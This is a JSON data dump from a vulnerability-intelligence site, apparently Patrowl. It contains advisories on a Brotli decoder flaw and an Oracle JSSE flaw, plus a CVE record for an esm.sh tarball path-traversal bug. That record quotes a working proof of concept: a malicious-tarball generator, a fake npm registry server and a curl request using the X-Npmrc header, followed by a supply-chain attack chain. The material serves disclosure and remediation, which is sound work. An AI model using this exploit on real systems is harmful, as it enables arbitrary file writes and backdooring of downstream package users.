[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2025-65025":30,"landing-articles":83},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":49,"technologies":52,"references":55,"score":60,"epss_score":61,"epss_percentile":62,"is_kev":63,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":64,"attack_mappings":74,"exploits":81},68398,"CVE-2025-65025","EUVD-2025-198181","esm.sh CDN service has arbitrary file write via tarslip\n\n### Summary\nThe esm.sh CDN service is vulnerable to a Path Traversal (CWE-22) vulnerability during NPM package tarball extraction.  \nAn attacker can craft a malicious NPM package containing specially crafted file paths (e.g., `package\u002F..\u002F..\u002Ftmp\u002Fevil.js`).  \nWhen esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory.\n\nUploading files containing `..\u002F` in the path is not allowed on official registries (npm, GitHub), but the `X-Npmrc` header allows specifying any arbitrary registry.  \nBy setting the registry to an attacker-controlled server via the `X-Npmrc` header, this vulnerability can be triggered.\n\n### Details\n**file:** `server\u002Fnpmrc.go`  \n**line:** 552-567\n\n```go\nfunc extractPackageTarball(installDir string, pkgName string, tarball io.Reader) (err error) {\n    \n    pkgDir := path.Join(installDir, \"node_modules\", pkgName)\n    \n    tr := tar.NewReader(unziped)\n    for {\n        h, err := tr.Next()\n        \u002F\u002F ...\n        \n        \u002F\u002F Strip tarball root directory\n        _, name := utils.SplitByFirstByte(h.Name, '\u002F')  \u002F\u002F \"package\u002F..\u002F..\u002Ftmp\u002Fevil\" → \"..\u002F..\u002Ftmp\u002Fevil\"\n        filename := path.Join(pkgDir, name)             \u002F\u002F ← No validation\n        \n        if h.Typeflag != tar.TypeReg {\n            continue \n        }\n        \n        \u002F\u002F Extension filtering\n        extname := path.Ext(filename)\n        if !(extname != \"\" && (allowed_extensions)) {\n            continue  \u002F\u002F Only extract .js, .css, .json, etc.\n        }\n        \n        ensureDir(path.Dir(filename))\n        f, err := os.OpenFile(filename, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644)\n        \u002F\u002F ← File created without path validation!\n        \u002F\u002F ...\n    }\n}\n```\nThe code uses `path.Join(pkgDir, name)`, which normalizes the path and allows sequences like `..\u002F..\u002F` to escape the intended package directory.\n\n```\npkgDir: \u002Fesm\u002Fnpm\u002Fevil-pkg@1.0.0\u002Fnode_modules\u002Fevil-pkg\nname:   ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Ftmp\u002Fpyozzi.js\nresult:   \u002Fesm\u002Fnpm\u002Fevil-pkg@1.0.0\u002Fnode_modules\u002Fevil-pkg\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Ftmp\u002Fpyozzi.js\n        → \u002Ftmp\u002Fpyozzi.js  (path traversal)\n```\n\n### PoC\n**Test On**\n- esm.sh Official Docker Image (latest version)\n- python 3.11\n- flask (for attacker registry server)\n\n### Step 1. Create Malicious tarball file\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nMalicious Tarball Generator for esm.sh Path Traversal\nCreates tarball with path traversal payloads\n\"\"\"\n\nimport tarfile\nimport io,os\nimport json\nfrom datetime import datetime\n\ndef create_malicious_tarball(package_name=\"test-tarslip\"):\n    \n    # PoC file Content\n    poc_payload = b\"\"\"\u002F\u002F Path Traversal PoC\n    \u002F\u002F This file was created via tarslip attack\n    \u002F\u002F Location: \u002Ftmp\u002Fpyozzi.js\n\n    console.log('[!!!] Path Traversal Successful!');\n    console.log('Package: %s');\n    console.log('Researcher: pyozzi');\n\n    module.exports = {\n        poc: true,\n        vulnerability: 'CWE-22 Path Traversal',\n        package: '%s'\n    };\n    \"\"\" % (package_name.encode(), package_name.encode())\n    \n    files = {\n        \"package\u002Findex.js\": b\"module.exports = { version: '1.0.0', test: true };\",\n        \"package\u002Fpackage.json\": json.dumps({\n            \"name\": package_name,\n            \"version\": \"1.0.0\",\n            \"description\": \"Test package for security research\",\n            \"main\": \"index.js\",\n            \"keywords\": [\"test\", \"security\", \"research\"],\n            \"author\": \"Security Researcher\",\n            \"license\": \"MIT\"\n        }, indent=2).encode(),\n        \n        \"package\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Ftmp\u002Fpyozzi.js\": poc_payload,\n    }\n    \n    # Create Tarball\n    \n    tarball_name = f\"{package_name}-1.0.0.tgz\"\n    \n    print(\"Creating tarball with payloads:\")\n    print()\n    \n    with tarfile.open(tarball_name, \"w:gz\") as tar:\n        for name, content in files.items():\n            info = tarfile.TarInfo(name=name)\n            info.size = len(content)\n            info.mode = 0o755\n            info.mtime = int(datetime.now().timestamp())\n            tar.addfile(info, io.BytesIO(content))\n\n    print(f\"File: {tarball_name}\")\n    print(f\"Size: {os.path.getsize(tarball_name)} bytes\")\n\n    # Check Tarball Content\n    print(\"Tarball contents:\")\n    with tarfile.open(tarball_name, \"r:gz\") as tar:\n        for member in tar.getmembers():\n            marker = \">> \" if \"..\u002F\" in member.name else \"   \"\n            mode = oct(member.mode)[-3:]\n            print(f\"{marker}{member.name} (mode: {mode})\")\n\nif __name__ == '__main__':\n    create_malicious_tarball()\n```\n\n**output:**\n```bash\n $ python create_tarball.py\nCreating tarball with payloads:\n\nFile: test-tarslip-1.0.0.tgz\nSize: 545 bytes\nTarball contents:\n   package\u002Findex.js (mode: 755)\n   package\u002Fpackage.json (mode: 755)\n>> package\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Ftmp\u002Fpyozzi.js (mode: 755)\n```\n\n### Step 2. Run Fake Registry Server\n```python\n# fake-npm-registry.py\nfrom flask import Flask, jsonify, send_file\n\napp = Flask(__name__)\n\nMALICIOUS_TARBALL = \"\u002Ftmp\u002Ftest-tarslip-1.0.0.tgz\" # HERE MALICIOUS TAR PATH\nREGISTRY_URL = \"http:\u002F\u002Fhost.docker.internal:9999\" # HERE FAKE REGISTRY SERVER\n\n@app.route('\u002F\u003Cpackage>')\ndef get_metadata(package):\n    return jsonify({\n        \"name\": package,\n        \"versions\": {\n            \"1.0.0\": {\n                \"name\": package,\n                \"version\": \"1.0.0\",\n                \"dist\": {\n                    \"tarball\": f\"{REGISTRY_URL}\u002F{package}\u002F-\u002F{package}-1.0.0.tgz\"\n                }\n            }\n        },\n        \"dist-tags\": {\"latest\": \"1.0.0\"}\n    })\n\n@app.route('\u002F\u003Cpackage>\u002F-\u002F\u003Cfilename>')\ndef get_tarball(package, filename):\n    return send_file(MALICIOUS_TARBALL, mimetype='application\u002Fgzip')\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=9999)\n```\n\n```bash\npython3 fake-npm-registry.py\n```\n\n### Step 3. Request Malicious Package with X-Npmrc Header\n```bash\ncurl \"http:\u002F\u002Flocalhost:8080\u002Ftest-tarslip@1.0.0\" \\\n  -H 'X-Npmrc: {\"registry\":\"http:\u002F\u002Fhost.docker.internal:9999\u002F\"}'\n```\n\n### Step 4. Check Path Traversal\n```bash\ndocker exec esm-test cat \u002Ftmp\u002Fpyozzi.js\n\n# ouput:\n\u002F\u002F Path Traversal PoC\n    \u002F\u002F This file was created via tarslip attack\n    \u002F\u002F Location: \u002Ftmp\u002Fpyozzi.js\n\n    console.log('[!!!] Path Traversal Successful!');\n    console.log('Package: test-tarslip');\n    console.log('Researcher: pyozzi');\n\n    module.exports = {\n        poc: true,\n        vulnerability: 'CWE-22 Path Traversal',\n        package: 'test-tarslip'\n    };\n...\n```\n\n### Impact\nThis vulnerability enables large-scale remote code execution on end-user endpoints through supply chain attacks. The path traversal vulnerability allows attackers to overwrite package resources stored in esm.sh's cache. Package lists and file paths can be discovered through esm.sh's REST API endpoints. By overwriting these resource files with malicious code, arbitrary code execution occurs on all endpoints that subsequently import the compromised packages.\n\n**Attack Chain:**\n1. Attacker identifies popular packages and their cached build file locations via API enumeration\n2. Uses path traversal to overwrite cached build files (e.g., `\u002Fesm\u002Fstorage\u002Fmodules\u002Freact@18.3.1\u002Fes2022\u002Freact.mjs`)\n3. Injects malicious code into the build files\n4. Any application importing these packages receives the backdoored version\n5. Malicious code executes on victim endpoints (browsers, Electron apps, Deno applications)\n\n**Impact Scale:**\n- Affects all downstream users of compromised packages\n- Can target specific frameworks (React, Vue, etc.) used by thousands of applications\n- Enables XSS in browsers, RCE in Electron applications\n- Difficult to detect as traffic appears legitimate\n\n### Patch\n1. Path validation is required when unpacking a tar file.\n2. `X-Npmrc` whitelist logic is required.","2025-11-19T20:30:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":42,"userInteraction":44,"attackComplexity":45,"availabilityImpact":44,"privilegesRequired":44,"confidentialityImpact":45},"UNCHANGED","3.1",8.2,"NETWORK","HIGH","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:L\u002FI:H\u002FA:N","NONE","LOW",true,[48],"CWE-22",[50,51],"cpe:2.3:a:esm:esm.sh:*:*:*:*:*:*:*:*","cpe:2.3:a:esm-dev:esm.sh:*:*:*:*:*:*:*:*",[53,54],"Esm Esm.Sh","Esm-Dev Esm.Sh",[56,57,58,59],"https:\u002F\u002Fgithub.com\u002Fesm-dev\u002Fesm.sh\u002Fcommit\u002F9d77b88c320733ff6689d938d85d246a3af9af16","https:\u002F\u002Fgithub.com\u002Fesm-dev\u002Fesm.sh\u002Fsecurity\u002Fadvisories\u002FGHSA-h3mw-4f23-gwpw","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2025-65025","https:\u002F\u002Fgithub.com\u002Fesm-dev\u002Fesm.sh",0.76,0.00571,0.46957,false,{"timestamp":65,"automatable":66,"tech_impact":67,"exploitation":68,"cisa_decision":69,"cisa_remediation_timeline":73},"2025-11-20T14:09:39.459957Z","yes","partial","poc",{"vector":70,"decision":71,"priority":72},"CISAv1\u002FE:P\u002FA:Y\u002FT:P\u002FM:H\u002F2026-10-26T05:13:38.544259\u002F","attend","medium","14D",[75],{"name":76,"source":77,"tactics":78,"technique_id":80},"Exploit Public-Facing Application","attack_vector",[79],"initial-access","T1190",[82],{"link":57},{"count":84,"next":85,"previous":6,"results":86},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[87,95,103],{"id":88,"title":89,"summary":90,"published_at":91,"type":92,"link":93,"image_url":94},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":96,"title":97,"summary":98,"published_at":99,"type":100,"link":101,"image_url":102},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":104,"title":105,"summary":106,"published_at":107,"type":108,"link":109,"image_url":110},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]